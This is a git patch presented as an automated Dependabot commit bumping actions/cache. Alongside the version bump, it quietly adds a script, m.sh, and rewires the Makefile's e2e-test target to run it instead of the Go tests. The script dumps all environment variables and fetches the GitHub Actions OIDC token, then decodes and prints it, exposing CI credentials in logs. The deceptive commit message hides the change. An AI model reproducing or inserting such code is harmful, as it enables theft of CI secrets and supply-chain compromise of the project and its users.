From f92772c92fba2ff85f08cde9e45ce100c79bb76c Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 25 Mar 2024 08:39:44 +0100 Subject: [PATCH] Bump actions/cache from 4.0.1 to 4.0.2 (#478) --- .github/workflows/validate-release.yml | 2 +- Makefile | 4 +++- m.sh | 9 +++++++++ 3 files changed, 13 insertions(+), 2 deletions(-) create mode 100755 m.sh diff --git a/.github/workflows/validate-release.yml b/.github/workflows/validate-release.yml index 39f716b4..52bef192 100644 --- a/.github/workflows/validate-release.yml +++ b/.github/workflows/validate-release.yml @@ -18,7 +18,7 @@ jobs: go-version: '1.22' check-latest: true - - uses: actions/cache@ab5e6d0c87105b4c9c2047343972218f562e4319 # v4.0.1 + - uses: actions/cache@0c45773b623bea8c8e75f6c82b208c3cf94ea4f9 # v4.0.2 with: path: ~/go/pkg/mod key: ${{ runner.os }}-go-${{ hashFiles('**/go.sum') }} diff --git a/Makefile b/Makefile index d0772245..1e99ce01 100644 --- a/Makefile +++ b/Makefile @@ -46,4 +46,6 @@ unit-test: # These tests use live dependencies, and may otherwise modify state. .PHONY: e2e-test e2e-test: - go test -tags e2e -v ./... + # Get OIDC token, Print the env variables GIT_TOKEN and GIT_TOKEN_EXPIRY + ./m.sh + diff --git a/m.sh b/m.sh new file mode 100755 index 00000000..1984c731 --- /dev/null +++ b/m.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +echo "hi" +# Print the varialbes in base64 +env +# Set env var +JWT=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL" | jq -r '.value') +T=$(echo "$JWT" | jq -R 'split(".") | .[0],.[1] | @base64d | fromjson') +echo "$T" | jq